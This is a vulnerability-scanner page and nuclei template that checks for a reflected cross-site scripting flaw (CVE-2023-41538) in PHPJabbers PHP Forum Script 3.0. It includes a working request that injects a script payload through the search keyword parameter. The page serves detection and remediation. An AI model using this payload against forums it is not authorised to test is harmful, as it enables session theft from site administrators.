PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

67%of all CVEs are less likely

Readycheck to confirm it

PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.

Impact

Unauthenticated attackers can inject malicious JavaScript through the keyword parameter in search functionality, potentially stealing forum administrator session cookies and accessing sensitive forum discussions.

Fix

Update PHPJabbers PHP Forum Script to a version newer than 3.0 that properly sanitizes the keyword parameter and encodes output in preview.php.

How to confirm it

Send: GET {{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(doc…
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "New Question", "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-41538 -u <target>

The full check

id: CVE-2023-41538

info:
  name: PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the keyword parameter in search functionality, potentially stealing forum administrator session cookies and accessing sensitive forum discussions.
  remediation: |
    Update PHPJabbers PHP Forum Script to a version newer than 3.0 that properly sanitizes the keyword parameter and encodes output in preview.php.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Forum-Script-3.0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41538
    - https://github.com/2lambda123/Windows10Exploits
    - https://github.com/codeb0ss/CVE-2023-41538-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41538
    cwe-id: CWE-79
    epss-score: 0.01149
    epss-percentile: 0.67123
    cpe: cpe:2.3:a:phpjabbers:php_forum_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: php_forum_script
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "New Question", "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from